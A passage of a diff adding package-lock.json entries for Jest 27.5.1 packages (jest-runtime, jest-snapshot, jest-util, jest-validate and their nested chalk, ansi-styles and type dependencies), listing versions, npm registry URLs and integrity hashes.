+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-runner/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-runner/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-runner/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-runner/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-runner/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-runtime": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-27.5.1.tgz",
+      "integrity": "sha512-o7gxw3Gf+H2IGt8fv0RiyE1+r83FJBRruoA+FXrlHw6xEyBsU8ugA6IPfTdVyA0w8HClpbK+DGJxH59UrNMx8A==",
+      "dependencies": {
+        "@jest/environment": "^27.5.1",
+        "@jest/fake-timers": "^27.5.1",
+        "@jest/globals": "^27.5.1",
+        "@jest/source-map": "^27.5.1",
+        "@jest/test-result": "^27.5.1",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "chalk": "^4.0.0",
+        "cjs-module-lexer": "^1.0.0",
+        "collect-v8-coverage": "^1.0.0",
+        "execa": "^5.0.0",
+        "glob": "^7.1.3",
+        "graceful-fs": "^4.2.9",
+        "jest-haste-map": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-mock": "^27.5.1",
+        "jest-regex-util": "^27.5.1",
+        "jest-resolve": "^27.5.1",
+        "jest-snapshot": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "slash": "^3.0.0",
+        "strip-bom": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-runtime/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-runtime/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-serializer": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-serializer/-/jest-serializer-27.5.1.tgz",
+      "integrity": "sha512-jZCyo6iIxO1aqUxpuBlwTDMkzOAJS4a3eYz3YzgxxVQFwLeSA7Jfq5cbqCY+JLvTDrWirgusI/0KwxKMgrdf7w==",
+      "dependencies": {
+        "@types/node": "*",
+        "graceful-fs": "^4.2.9"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-27.5.1.tgz",
+      "integrity": "sha512-yYykXI5a0I31xX67mgeLw1DZ0bJB+gpq5IpSuCAoyDi0+BhgU/RIrL+RTzDmkNTchvDFWKP8lp+w/42Z3us5sA==",
+      "dependencies": {
+        "@babel/core": "^7.7.2",
+        "@babel/generator": "^7.7.2",
+        "@babel/plugin-syntax-typescript": "^7.7.2",
+        "@babel/traverse": "^7.7.2",
+        "@babel/types": "^7.0.0",
+        "@jest/transform": "^27.5.1",
+        "@jest/types": "^27.5.1",
+        "@types/babel__traverse": "^7.0.4",
+        "@types/prettier": "^2.1.5",
+        "babel-preset-current-node-syntax": "^1.0.0",
+        "chalk": "^4.0.0",
+        "expect": "^27.5.1",
+        "graceful-fs": "^4.2.9",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "jest-haste-map": "^27.5.1",
+        "jest-matcher-utils": "^27.5.1",
+        "jest-message-util": "^27.5.1",
+        "jest-util": "^27.5.1",
+        "natural-compare": "^1.4.0",
+        "pretty-format": "^27.5.1",
+        "semver": "^7.3.2"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-snapshot/node_modules/diff-sequences": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/diff-sequences/-/diff-sequences-27.5.1.tgz",
+      "integrity": "sha512-k1gCAXAsNgLwEL+Y8Wvl+M6oEFj5bgazfZULpS5CneoPPXRaCCW7dm+q21Ky2VEE5X+VeRDBVg1Pcvvsr4TtNQ==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/jest-diff": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-27.5.1.tgz",
+      "integrity": "sha512-m0NvkX55LDt9T4mctTEgnZk3fmEg3NRYutvMPWM/0iPnkFj2wIeF45O1718cMSOFO1vINkqmxqD8vE37uTEbqw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "diff-sequences": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/jest-matcher-utils": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-27.5.1.tgz",
+      "integrity": "sha512-z2uTx/T6LBaCoNWNFWwChLBKYxTMcGBRjAt+2SbP929/Fflb9aa5LGma654Rz8z9HLxsrUaYzxE9T/EFIL/PAw==",
+      "dependencies": {
+        "chalk": "^4.0.0",
+        "jest-diff": "^27.5.1",
+        "jest-get-type": "^27.5.1",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/pretty-format": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/pretty-format/-/pretty-format-27.5.1.tgz",
+      "integrity": "sha512-Qb1gy5OrP5+zDf2Bvnzdl3jsTf1qXVMazbvCoKhtKqVs4/YK4ozX4gKQJJVyNe+cajNPn0KoC0MC3FUmaHWEmQ==",
+      "dependencies": {
+        "ansi-regex": "^5.0.1",
+        "ansi-styles": "^5.0.0",
+        "react-is": "^17.0.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/pretty-format/node_modules/ansi-styles": {
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-5.2.0.tgz",
+      "integrity": "sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==",
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-snapshot/node_modules/react-is": {
+      "version": "17.0.2",
+      "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz",
+      "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w=="
+    },
+    "node_modules/jest-snapshot/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-util": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
+      "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "@types/node": "*",
+        "chalk": "^4.0.0",
+        "ci-info": "^3.2.0",
+        "graceful-fs": "^4.2.9",
+        "picomatch": "^2.2.3"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-util/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-util/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-util/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-util/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-util/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-util/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-util/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-util/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-util/node_modules/supports-color": {
+      "version": "7.2.0",
+      "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+      "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
+      "dependencies": {
+        "has-flag": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-validate": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-27.5.1.tgz",
+      "integrity": "sha512-thkNli0LYTmOI1tDB3FI1S1RTp/Bqyd9pTarJwL87OIBFuqEb5Apv5EaApEudYg4g86e3CT6kM0RowkhtEnCBQ==",
+      "dependencies": {
+        "@jest/types": "^27.5.1",
+        "camelcase": "^6.2.0",
+        "chalk": "^4.0.0",
+        "jest-get-type": "^27.5.1",
+        "leven": "^3.1.0",
+        "pretty-format": "^27.5.1"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/@jest/types": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
+      "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
+      "dependencies": {
+        "@types/istanbul-lib-coverage": "^2.0.0",
+        "@types/istanbul-reports": "^3.0.0",
+        "@types/node": "*",
+        "@types/yargs": "^16.0.0",
+        "chalk": "^4.0.0"
+      },
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/@types/istanbul-reports": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz",
+      "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==",
+      "dependencies": {
+        "@types/istanbul-lib-report": "*"
+      }
+    },
+    "node_modules/jest-validate/node_modules/@types/yargs": {
+      "version": "16.0.4",
+      "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.4.tgz",
+      "integrity": "sha512-T8Yc9wt/5LbJyCaLiHPReJa0kApcIgJ7Bn735GjItUfh08Z1pJvu8QZqb9s+mMvKV6WUQRV7K2R46YbjMXTTJw==",
+      "dependencies": {
+        "@types/yargs-parser": "*"
+      }
+    },
+    "node_modules/jest-validate/node_modules/ansi-regex": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+      "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-validate/node_modules/ansi-styles": {
+      "version": "4.3.0",
+      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+      "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+      "dependencies": {
+        "color-convert": "^2.0.1"
+      },
+      "engines": {
+        "node": ">=8"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+      }
+    },
+    "node_modules/jest-validate/node_modules/chalk": {
+      "version": "4.1.2",
+      "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
+      "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
+      "dependencies": {
+        "ansi-styles": "^4.1.0",
+        "supports-color": "^7.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/chalk/chalk?sponsor=1"
+      }
+    },
+    "node_modules/jest-validate/node_modules/color-convert": {
+      "version": "2.0.1",
+      "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+      "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+      "dependencies": {
+        "color-name": "~1.1.4"
+      },
+      "engines": {
+        "node": ">=7.0.0"
+      }
+    },
+    "node_modules/jest-validate/node_modules/color-name": {
+      "version": "1.1.4",
+      "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+      "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+    },
+    "node_modules/jest-validate/node_modules/has-flag": {
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+      "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/jest-validate/node_modules/jest-get-type": {
+      "version": "27.5.1",
+      "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-27.5.1.tgz",
+      "integrity": "sha512-2KY95ksYSaK7DMBWQn6dQz3kqAf3BB64y2udeG+hv4KfSOb9qwcYQstTJc1KCbsix+wLZWZYN8t7nwX3GOBLRw==",
+      "engines": {
+        "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
+      }
+    },
